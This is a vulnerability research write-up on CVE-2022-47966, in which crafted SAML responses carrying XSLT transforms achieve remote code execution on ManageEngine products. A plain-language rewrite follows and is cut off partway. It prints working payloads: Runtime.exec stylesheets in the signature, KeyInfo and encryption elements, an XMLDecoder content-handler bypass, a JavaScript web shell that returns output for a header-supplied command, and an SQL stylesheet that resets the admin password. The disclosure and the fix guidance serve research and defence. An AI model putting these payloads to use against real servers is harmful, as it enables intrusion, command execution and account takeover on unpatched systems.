CVE-2022-47966 SAML ShowStopper
The SAML implementation in multiple ManageEngine products used an outdated XML security library (xmlsec) that allowed XSLT transforms in SAML messages, enabling remote code execution. An attacker could send a crafted SAML response to execute arbitrary code on the server.
SAML(Security Assertion Markup Language) & OIDC (OpenID Connect) is the two main SSO (Single-Sign-On) standards. While OIDC is more popular, SAML is mostly used by enterprise organization to authenticate employee.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
SAML (Security Assertion Markup Language) and OIDC (OpenID Connect) are the two main SSO standards. OIDC is more popular, while SAML is mostly used by enterprise organisations to authenticate employees. SAML depends on XML signatures and XML encryption to check that a message comes from the identity provider (IdP).
XML Signature and XML Encryption are feature-rich designs, and that richness comes with risk. The author had read tint0's post on pinging xmlsec and decided to dig into the transform handling. xmlsec (Apache Santuario) has a long list of vulnerability records that are, in the author's view, surprisingly underrated: HMAC truncation, weak canonicalisation algorithms, mishandled secure validation, and more.
ManageEngine published an advisory stating that multiple products can be exploited because they use an old version of xmlsec: CVE-2022-47966. This write-up covers the transform part of XML signature checking and XML decryption. Readers already familiar with xmlsec can skip to the exploitation section.
Setup
No accounts, roles or special tooling are described beyond the ability to attach a debugger and set breakpoints to inspect stack traces, and the ability to craft or modify a SAMLResponse. The author points to the OneLogin example pages for a signed SAML response and for an encrypted SAML response as starting material to modify:
https://developers.onelogin.com/saml/examples/response
The relevant version boundaries that matter throughout are:
| Component | Version | Behaviour |
|---|---|---|
| xmlsec | before 1.4.2 | Signature value is checked after SignedInfo, so a transform in References runs pre-auth |
| xmlsec | 1.4.2 and higher | Signature value is checked with the signature algorithm before SignedInfo, so the References transform becomes post-auth |
| xmlsec | 1.5.0 and higher | secure validation property added, but not enabled by default |
| xmlsec | below 2.2.3 and 2.1.7 | secure validation can be bypassed with KeyInfoReference |
| xmlsec | 2.3.0 and higher | Fixed version to upgrade to |
| Xalan | 2.7.2 and higher | CVE-2014-0107 fixed |
Finding it
The XML Signature design lets a signature carry an XSLT transform. The specification section is at https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-XSLT. The same design is used for both signing and verification, which means a crafted SAMLResponse can carry an XSLT transform inside the Signature, and when the server checks the signature, the stylesheet is processed.
In an old version of xmlsec, XMLSignature.checkSignatureValue() checks SignedInfo first. Checking SignedInfo means verifying the references, and SignedInfo.verify() dereferences the URI and performs the transforms. Reference.calculateDigest() gets the selected transform SPI and performs the transform on the input, and Reference.getContentsAfterTransformation() is where the transform is applied.
The W3 design defines several transform algorithms. The most dangerous is the XSLT transform, with identifier http://www.w3.org/TR/1999/REC-xslt-19991116. TransformXSLT.enginePerformTransform() runs it. XSLT transform with user-controlled input can result in code execution.
Exploitation
Step 1: XSLT transform in the signature reference
A crafted Signature with an XSLT transform in its Reference looks like this:
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<ds:HMACOutputLength>1</ds:HMACOutputLength>
</ds:SignatureMethod>
<ds:Reference URI="#pfx2d9362ee-a4ec-13c8-3151-65f533ef4416">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>/KjOCTrjp+RcRcbirgX6HysSfhM=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>AAAAAA</ds:SignatureValue>
</ds:Signature>
Using this signature in a SAMLResponse against an affected ManageEngine ServiceDesk gives remote code execution. On Windows the process runs but no calculator window pops up.
The author notes this is very easy, yet no CVE ID had been seen for a signature check leading to RCE, which seemed strange. Burp has SAML extensions such as SAML Raider, so the question is why this write-up is worth reading.
Step 2: The version barrier
Simple XSLT transform only works in old versions of xmlsec. ManageEngine uses a wide range of xmlsec versions across its products, possibly using the newest version when each product was developed. In xmlsec 1.4.2 and higher, XMLSignature.checkSignatureValue() checks the signature value with the signature algorithm before checking SignedInfo. That turns the previous approach into a post-auth bug.
There are other places that perform transforms.
Step 3: Transform in KeyInfo RetrievalMethod
The W3 design section on RetrievalMethod (https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-RetrievalMethod) says: "The KeyInfoReference element is preferred over use of RetrievalMethod as it avoids use of Transform child elements that introduce security risk and implementation challenges". This means KeyInfo's RetrievalMethod performs the transform, and it happens before the signature value check. In xmlsec, RetrievalMethodResolver.resolveInput() does the transform.
Since xmlsec 1.5.0 the Apache team added the secure validation property to prevent this transform, but it is not enabled by default. It can also be bypassed in xmlsec below 2.2.3 and 2.1.7 with KeyInfoReference, as described in tint0's blog, so it can be temporarily ignored.
The crafted KeyInfo looks like this:
<ds:KeyInfo
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="file:/some/important/secret.xml">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
</ds:RetrievalMethod>
</ds:KeyInfo>
Not every SAML authentication process takes the KeyInfo from the attacker's input; some use a pre-configured key, so another route is needed.
Step 4: Transform in XML Encryption
XML Encryption (https://www.w3.org/TR/2002/REC-xmlenc-core-20021210/Overview.html) has CipherReference and ReferenceList elements that perform transforms. The design also has an EncryptedKey element containing a KeyInfo element, so the previous technique can be reused. In xmlsec, XMLCipherInput.getDecryptBytes() performs the transform.
The crafted CipherData looks like this:
<xenc:CipherData>
<xenc:CipherReference URI="#[redacted]">
<xenc:Transforms>
<dsig:Transforms>
<dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</dsig:Transform>
</dsig:Transforms>
</xenc:Transforms>
</xenc:CipherReference>
</xenc:CipherData>
The OneLogin encrypted SAML response example can be modified with this.
Step 5: Where malicious transforms can be placed
The author summarises the injection points in a table:
| Location | Condition | Note |
|---|---|---|
| (XML Signature) References | always | Will become post-auth after xmlsec-1.4.2 |
| (XML Signature) KeyInfo | If server does find key | Can bypass secure validation in xmlsec < 2.2.3 & 2.1.7 |
| (XML Encryption) CipherReference | If server does decrypt SAMLResponse | |
| (XML Encryption) ReferenceList | If server does decrypt SAMLResponse & find key | |
| (XML Encryption) KeyInfo in EncryptedKey | If server does decrypt SAMLResponse & find key | Can bypass secure validation in xmlsec < 2.2.3 & 2.1.7 |
Step 6: Secure processing blocks Xalan extensions
Since xmlsec 1.4.2, the Apache team enabled the secure-processing feature when performing XSLT transform in TransformXSLT.enginePerformTransform(). This blocks Xalan's extensions, so the earlier stylesheet no longer works. The most dangerous function left in XPath and XSLT transform is document(), but it can only read valid XML files and make blind HTTP GET requests. That is how tint0 found a way to read XML secret files. Not all applications store secrets in XML files, and a blind GET request makes little sense in most products, so a bypass is needed.
Step 7: CVE-2022-34169 does not work here
A recent integer truncation bug, CVE-2022-34169 (https://bugs.chromium.org/p/project-zero/issues/detail?id=2290), credited to @_fel1x, can bypass this feature. The author tried it and failed. At first the assumption was that ManageEngine limits requests to 40000 characters, and that bypassing the limit would reach remote code execution. After digging into CVE-2022-34169, the conclusion was that even bypassing the limit would not give code execution.
The Xalan integer truncation bug happens in the XSLTC compile process, and XSLTC is the default compiler in the JDK. It is the default compiler in the JDK, but not in Xalan. If a Xalan library is on the classpath, the default TransformerFactory is org.apache.xalan.processor.TransformerFactoryImpl, the stylesheet is processed by XSLTElementProcessors, and XSLTC is not used, so the integer truncation does not work when the Xalan library is present. The default factory is set in META-INF, as can be seen in TransformerFactory.newInstance().
Step 8: CVE-2014-0107 and a content handler
Another known Xalan bug is CVE-2014-0107. Xalan is an XSLT library, and normally nobody lets user input be transformed, so there is no need to update it. People still use Xalan versions below 2.7.2 more than 2.7.2.
CVE-2014-0107 is described as a bug that instantiates an arbitrary class without arguments and accesses an arbitrary URL or resource (https://issues.apache.org/jira/browse/XALANJ-2435). That is not what is needed. After reviewing the code, the author found that this is not a normal class instantiation: any content handler can be set for the XSLT process. The relevant code is org.apache.xml.serializer.SerializerFactory.getSerializer(). The content is the attacker's input and any handler can be chosen, so something special might be available.
The requirement is a ContentHandler with a constructor without arguments that does something dangerous. There are 316 implementations of ContentHandler in the JDK, a promising number. Among them is com.sun.beans.decoder.DocumentHandler, which has a handler for each element. It is essentially XMLDecoder.readObject(). Taking a sample XMLDecoder.readObject() payload and adding it to the published CVE-2014-0107 payload gives remote code execution, and it is far easier than the integer truncation.
The transform looks like this. Be careful with element attributes: they might be added to the payload element and break the exploit.
<dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >
<xsl:output method="xml" xalan:content-handler="com.sun.beans.decoder.DocumentHandler" xalan:entities="http://www.example.org/example.bin"
xmlns:xalan="http://xml.apache.org/xalan"/>
<xsl:template match="/">
<xsl:message>XSLT message: trying output extensions.</xsl:message>
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>calc</string>
</void>
</object>
</java>
</xsl:template>
</xsl:stylesheet>
</dsig:Transform>
The author's comment on the result is that you get shells like going shopping.
Step 9: Getting output back
Finding a bug and exploiting it are two different processes. For example, an old Liferay version vulnerable to deserialisation without a gadget leaves the researcher watching others claim the bug first.
This bug can invoke any method on the classpath but does not show anything back. A JSP shell will not do the job because ManageEngine only uses compiled JSP classes, and outbound connections are not reliable.
Both XSLT transform without secure processing and XMLDecoder.readObject() are method invocations, so a JavaScript eval can be created to get results. In ManageEngine products, com.adventnet.iam.security.SecurityUtil.getCurrentRequest() gives access to the request. This has to be modified if SecurityUtil is not on the classpath or for other products.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ScriptEngineManager="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
xmlns:ScriptEngine="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="payload">
<![CDATA[var requestFacade=com.adventnet.iam.security.SecurityUtil.getCurrentRequest().getRequest().getRequest();
var requestFacadeClazz = requestFacade.getClass();
var reqField = requestFacadeClazz.getDeclaredField("request");
reqField.setAccessible(true);
var request = reqField.get(requestFacade);
var response = request.getResponse();
var outputStream = response.getOutputStream();
var cmd = new java.lang.String(request.getHeader("x-cc"));
var listCmd = new java.util.ArrayList();
var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
if(isWin){
listCmd.add("cmd.exe");listCmd.add("/c");listCmd.add(cmd);
}else{
listCmd.add("bash");listCmd.add("-c");listCmd.add(cmd);
}
var processBuilder = new java.lang.ProcessBuilder(listCmd);
processBuilder.redirectErrorStream(true);
var process = processBuilder.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = new java.lang.String("");
var stringBuilder = new java.lang.StringBuilder();
while((line = bufferedReader.readLine()) != null){
stringBuilder.append(line);stringBuilder.append("\n");
}
var resultString = stringBuilder.toString();
var bytes = resultString.getBytes("UTF-8");
outputStream["write(byte[])"](bytes);
outputStream.close();]]>
</xsl:variable>
<xsl:variable name="name">
<![CDATA[js]]>
</xsl:variable>
<xsl:variable name="scriptEngineManager" select="ScriptEngineManager:new()"/>
<xsl:variable name="scriptEngine" select="ScriptEngineManager:getEngineByName($scriptEngineManager, $name)"/>
<xsl:variable name="result" select="ScriptEngine:eval($scriptEngine, $payload)"/>
<xsl:value-of select="$result"/>
</xsl:template>
</xsl:stylesheet>
Step 10: Changing the admin password
If local username and password authentication still works, the admin password can be changed to admin with com.manageengine.ads.fw.db.util.DBUtil. The author notes that a tutorial on resetting the admin password may be needed to edit this.
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:DBUtil="http://xml.apache.org/xalan/java/com.manageengine.ads.fw.db.util.DBUtil"
xmlns:Boolean="http://xml.apache.org/xalan/java/java.lang.Boolean"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="query">
<![CDATA[update AaaPassword set password='$2a$12$fZUC9IK8E/AwtCxMKnCfiu830qUyYB/JRhWpi2k1vgWLC6iLFAgxa', SALT=pgp_sym_encrypt('$2a$12$fZUC9IK8E/AwtCxMKnCfiu','SChar@123Mas!er','s2k-mode=1, cipher-algo=aes256'), algorithm='bcrypt' where password_id in (select ap.password_id from aaaaccpassword ap left join aaaaccount ac on ac.account_id=ap.account_id left join aaalogin al on al.login_id=ac.login_id where al.login_id= 2);]]>
</xsl:variable>
<xsl:variable name="boolean" select="Boolean:valueOf('TRUE')"/>
<xsl:variable name="execute" select="DBUtil:executeQuery($query,$boolean)"/>
<xsl:value-of select="$execute"/>
</xsl:template>
</xsl:stylesheet>
As @smaury92 mentioned, if a PMP instance is affected, all stored passwords can be decrypted; the author links to https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/.
For more SAML bugs, the author points to @_fel1x, who found more bugs in other languages (Node, Go, .NET and others).
Root cause
The design flaw is that XML Signature and XML Encryption allow transform elements inside attacker-supplied structures, and those transforms are processed during signature verification and decryption. The XSLT transform identifier http://www.w3.org/TR/1999/REC-xslt-19991116 lets an attacker supply a stylesheet that the XML library executes.
xmlsec's ordering makes this worse. Before 1.4.2, SignedInfo is verified before the signature value, so a transform in References runs pre-auth. From 1.4.2, the signature value is checked first, which pushes that particular location to post-auth, but KeyInfo RetrievalMethod and XML Encryption CipherReference, ReferenceList and EncryptedKey KeyInfo still perform transforms before the signature value check.
The secure validation property added in xmlsec 1.5.0 would block these transforms, but it is not enabled by default, and it can be bypassed in xmlsec below 2.2.3 and 2.1.7 with KeyInfoReference. The secure-processing feature enabled from xmlsec 1.4.2 blocks Xalan Java extensions; the author then found that CVE-2014-0107 in Xalan 2.7.1 and below can be used to set an arbitrary content handler, and com.sun.beans.decoder.DocumentHandler in the JDK turns the transform into XMLDecoder.readObject(). CVE-2022-34169 does not help when a Xalan library is on the classpath, because the default TransformerFactory becomes org.apache.xalan.processor.TransformerFactoryImpl and XSLTC is not used.
Impact
An attacker who can submit a crafted SAMLResponse to an affected ManageEngine product such as ServiceDesk can achieve remote code execution. The exact preconditions depend on where the transform is placed: References always works but becomes post-auth after xmlsec 1.4.2; KeyInfo requires the server to find the key; the XML Encryption locations require the server to decrypt the SAMLResponse, and ReferenceList and EncryptedKey KeyInfo additionally require the server to find the key. The author states explicitly that this does not only affect ManageEngine products.
Beyond code execution, the bug can invoke any method on the classpath. In ManageEngine products, SecurityUtil.getCurrentRequest() gives access to the request, allowing command output to be returned in the response. If local username and password authentication still works, the admin password can be changed to admin through DBUtil. For PMP, stored passwords can be decrypted.
Fix
The fix is to update the xmlsec library to version 2.3.0 or higher. ManageEngine reacted quickly: the author reported on 25/10/22 and most products were updated on 28/10/22. The CVE assignment and advisory publication took more than two months after the fix, which the author criticises. CVE-2022-47966 was assigned, but the author does not know whether it belongs to Apache XMLSec, Shibboleth OpenSAML or ManageEngine, as there was a lengthy discussion.
Variants to test
- Place an XSLT transform in
ds:Referenceinsideds:SignedInfoof aSAMLResponse. A positive result is the stylesheet being processed during signature verification, which on old xmlsec gives code execution and on xmlsec 1.4.2 and higher only works post-auth. - Place an XSLT transform in
ds:RetrievalMethodinsideds:KeyInfo. A positive result is the transform running before the signature value check when the server takes the key from the input. - Place an XSLT transform in
xenc:CipherReferenceorxenc:ReferenceListof an encryptedSAMLResponse. A positive result is the transform running when the server decrypts the response. - Place an XSLT transform in
ds:KeyInfoinsidexenc:EncryptedKey. A positive result is the transform running when the server decrypts the response and finds the key, withsecure validationbypassable in xmlsec below 2.2.3 and 2.1.7. - Use the
xsl:outputxalan:content-handler="com.sun.beans.decoder.DocumentHandler"technique with an XMLDecoder payload. A positive result is code execution on a target with Xalan 2.7.1 or below on the classpath. - Use the JavaScript eval stylesheet with
ScriptEngineManagerandSecurityUtil.getCurrentRequest()to return command output through the response. A positive result is command output in the HTTP response, with thex-ccheader carrying the command. - Use the
DBUtilstylesheet to change the admin password. A positive result is the admin password being set toadminwhen local username and password authentication still works.
What happened, in plain words
A security researcher found a way to make certain business software made by a company called ManageEngine run commands of the attacker's choosing. The software lets employees log in through a system called SAML, which is a way for one website to trust a login that was done somewhere else. The researcher showed that a specially crafted login message could make the server run commands of the attacker's choosing. The bug was tracked as CVE-2022-47966.
This article walks through the whole story from zero. You do not need to know what SAML is, what XML is, or what a server does with a login message. Each idea is introduced when it first appears, with a short everyday comparison where that helps.
1. Introduction
What SAML and OIDC are
When you log in to a work application, you often do not type your password into that application. Instead you are sent to a central login page, you log in there, and you are sent back. The application trusts the central login page. This pattern is called SSO, short for Single Sign-On: one login, many applications.
Two standards make this work:
- SAML (Security Assertion Markup Language) is the older one. It is mostly used by large organisations to log their employees in.
- OIDC (OpenID Connect) is the newer, more popular one.
SAML works by passing a message, called a SAMLResponse, from the central login server (the identity provider, or IdP) to the application the user wants to use. The application has to be sure the message really came from the IdP and was not forged by someone in the middle. To do that, SAML uses two XML-based technologies:
- XML Signature: a digital signature attached to the message, so the receiver can check who sent it and that it was not changed.
- XML Encryption: a way to scramble part of the message so only the intended receiver can read it.
XML itself is just a text format for structured data, a bit like a very strict version of HTML. It uses tags in angle brackets, like <name>value</name>, to mark up pieces of information.
Why the researcher looked here
XML Signature and XML Encryption are powerful designs with many features. The researcher's view is that more features mean more risk. After reading a blog post by another researcher (tint0) about the Java library that implements these standards, the researcher decided to dig into one specific part: the transform step.
A transform is an instruction inside a signed or encrypted message that says "before you check this, run the following processing on the data". It exists so that the sender and receiver can agree on how the data is prepared. The researcher's question was: what happens if an attacker controls that instruction?
The library in question is xmlsec, also known as Apache Santuario. It is a piece of Java software that many products use to handle XML signatures and encryption. It has a long list of past security problems that the researcher considers surprisingly underrated, including:
- HMAC truncation: a weakness in one signature scheme where the signature can be made shorter than it should be.
- Weak canonicalisation algorithms: canonicalisation is the step that turns XML into a standard byte sequence before signing; a weak algorithm makes forgery easier.
- Mishandled secure validation: a safety feature that is supposed to block dangerous operations but is not always applied correctly.
ManageEngine published an advisory saying that several of its products can be exploited because they use an old version of xmlsec. The advisory is at https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html. This article covers the transform part of signature checking and decryption. If you already know xmlsec, you can skip ahead to the exploitation section.
Transformers, more than meets the eye!!
Let's go!
2. XSLT transform function
What XSLT is
The XML Signature specification, at https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-XSLT, includes a transform that lets the message carry an XSLT stylesheet.
XSLT is a language for describing how to turn one XML document into another. Think of it as a recipe: "find this part of the input, and produce this output". A stylesheet is the recipe document. XSLT is normally harmless, but it has a feature that lets it call into Java code, and that is where the danger lies.
The same design is used both when a message is signed and when a signature is verified. That means an attacker can craft a SAMLResponse with an XSLT transform inside its Signature. When the server checks the signature, the attacker's stylesheet is processed.
How xmlsec handles it
To understand the flow, the researcher set breakpoints in a debugger and looked at the stack traces. A breakpoint is a pause point you set in a program so you can inspect what it is doing at that moment. A stack trace is the list of function calls that led to the current point, like a receipt of how the program got there.
In an old version of xmlsec, when the library checks an XML signature, it first checks the SignedInfo element. SignedInfo is the part of the signature that describes what was signed and how.
Checking SignedInfo means verifying the references. A reference is a pointer to a piece of data plus the transforms to apply to it. SignedInfo.verify() follows the reference's URI (a URI is an address or identifier, like a file path or a fragment name) and performs the transforms.
Reference.calculateDigest() picks the transform implementation (called an SPI, a service provider interface, which is Java's way of plugging in an implementation) and applies the transform to the input. Reference.getContentsAfterTransformation() is the function where the transform actually runs.
The dangerous transform
The W3 design defines several transform algorithms. The most dangerous is the XSLT transform, whose identifier is http://www.w3.org/TR/1999/REC-xslt-19991116. The function TransformXSLT.enginePerformTransform() runs it. When XSLT processes attacker-controlled input, the result can be code execution.
The crafted signature
A crafted Signature with an XSLT transform in its Reference looks like this:
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<ds:HMACOutputLength>1</ds:HMACOutputLength>
</ds:SignatureMethod>
<ds:Reference URI="#pfx2d9362ee-a4ec-13c8-3151-65f533ef4416">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>/KjOCTrjp+RcRcbirgX6HysSfhM=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>AAAAAA</ds:SignatureValue>
</ds:Signature>
Line by line, in plain words:
<ds:Signature ...>opens the signature block. Thexmlns:ds=...part declares a namespace, which is a way to say "these tags belong to the XML Signature standard". It stops names from clashing between different standards in the same document.<ds:SignedInfo>opens the section that describes what is being signed.<ds:CanonicalizationMethod Algorithm="...xml-exc-c14n#"/>says how to normalise the XML before signing. Canonicalisation matters because two XML documents that look the same can differ in whitespace or attribute order; normalising makes the bytes predictable.<ds:SignatureMethod Algorithm="...hmac-sha1">says which signature algorithm is used. HMAC is a keyed hash, a kind of signature that uses a shared secret.<ds:Reference URI="#pfx2d9362ee-a4ec-13c8-3151-65f533ef4416">points at the piece of the document being signed. The#means "an element inside this same document with this identifier".<ds:Transforms>opens the list of transforms to apply to that referenced data.<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">is the key line: it tells the library to run an XSLT stylesheet.<xsl:stylesheet ...>opens the stylesheet. Thexmlns:rtandxmlns:oblines are the important trick: they map prefixes to Java classes (java.lang.Runtimeandjava.lang.Object) through Xalan's Java extension mechanism. Xalan is an XSLT library that may be present on the classpath. This mapping is what lets the stylesheet call Java code.<xsl:template match="/">says "apply this template to the whole input document".<xsl:variable name="rtobject" select="rt:getRuntime()"/>callsRuntime.getRuntime(), which returns the Java object that can start processes.<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>callsexecon that object with the argumentcalc, which starts the calculator program.<xsl:variable name="processString" select="ob:toString($process)"/>converts the process object to a string, just to have something to output.<xsl:value-of select="$processString"/>writes that string into the output.- The second
<ds:Transform Algorithm="...xml-exc-c14n#"/>is a normal canonicalisation transform, included so the transform chain looks plausible. <ds:DigestMethod .../>and<ds:DigestValue>...</ds:DigestValue>are the hash of the transformed data and the expected digest value. The value here is a placeholder.<ds:SignatureValue>AAAAAA</ds:SignatureValue>is the signature itself, also a placeholder. The point is that the transform runs before the signature is properly checked in old versions.
Using this signature inside a SAMLResponse against an affected ManageEngine ServiceDesk gives remote code execution. Remote code execution (RCE) means the attacker can make the server run programs of their choice. On Windows the process runs but no calculator window pops up, because the server has no desktop to show it on.
The researcher notes that this is very easy, yet no CVE ID had been seen for a signature check leading to RCE, which seemed strange. CVE stands for Common Vulnerabilities and Exposures: a public catalogue number given to a security bug so people can refer to it unambiguously. Burp, a popular tool for testing web applications, has SAML extensions such as SAML Raider, so the question is why this article is worth reading.
3. The problem
Why the simple trick stops working
Simple XSLT transform only works in old versions of xmlsec. ManageEngine uses a wide range of xmlsec versions across its products, possibly using the newest version when each product was developed.
In xmlsec 1.4.2 and higher, XMLSignature.checkSignatureValue() checks the signature value with the signature algorithm before checking SignedInfo. In other words, the server first asks "is this signature valid?" and only then processes the references. That turns the previous approach into a post-auth bug: it only works after the attacker is already logged in, which is far less useful.
There are other places that perform transforms, though.
Transform in KeyInfo RetrievalMethod
The W3 design section on RetrievalMethod (https://www.w3.org/TR/2013/REC-xmldsig-core1-20130411/#sec-RetrievalMethod) says: "The KeyInfoReference element is preferred over use of RetrievalMethod as it avoids use of Transform child elements that introduce security risk and implementation challenges".
KeyInfo is the part of a signature that tells the receiver where to find the key used to check the signature. RetrievalMethod is one way to point at that key, and it can carry transforms. The quote is the standard's own warning that this feature is risky. It means KeyInfo's RetrievalMethod performs the transform, and it happens before the signature value check. In xmlsec, RetrievalMethodResolver.resolveInput() does the transform.
Since xmlsec 1.5.0 the Apache team added a secure validation property to prevent this transform, but it is not enabled by default. Secure validation is a safety switch that refuses risky features. It can also be bypassed in xmlsec below 2.2.3 and 2.1.7 with KeyInfoReference, as described in tint0's blog, so it can be temporarily ignored.
The crafted KeyInfo looks like this:
<ds:KeyInfo
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="file:/some/important/secret.xml">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
</ds:RetrievalMethod>
</ds:KeyInfo>
Line by line:
<ds:KeyInfo ...>opens the key information block.<ds:Transforms>and<ds:Transform Algorithm="...REC-xslt-19991116">again ask for an XSLT stylesheet to be run on the fetched data.- The stylesheet body is identical to the previous one: it calls
Runtime.getRuntime()andexec('calc')through the Xalan Java extension namespaces. - The closing tags close the transform, the transforms list, the retrieval method and the key info.
Not every SAML authentication process takes the KeyInfo from the attacker's input; some use a pre-configured key, so another route is needed.
Transform in XML Encryption
XML Encryption (https://www.w3.org/TR/2002/REC-xmlenc-core-20021210/Overview.html) has CipherReference and ReferenceList elements that perform transforms. The design also has an EncryptedKey element containing a KeyInfo element, so the previous technique can be reused. In xmlsec, XMLCipherInput.getDecryptBytes() performs the transform.
The crafted CipherData looks like this:
<xenc:CipherData>
<xenc:CipherReference URI="#[redacted]">
<xenc:Transforms>
<dsig:Transforms>
<dsig:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</dsig:Transform>
</dsig:Transforms>
</xenc:Transforms>
</xenc:CipherReference>
</xenc:CipherData>
Line by line:
<xenc:CipherData>opens the encrypted data block. Thexencprefix marks tags from the XML Encryption standard.<xenc:Transforms>and<dsig:Transforms>are the encryption and signature wrappers around the transform list.<dsig:Transform Algorithm="...REC-xslt-19991116">again asks for an XSLT stylesheet.- The stylesheet body is the same
Runtime.getRuntime()andexec('calc')payload. - The closing tags close the transform, both transform lists, the cipher reference and the cipher data.
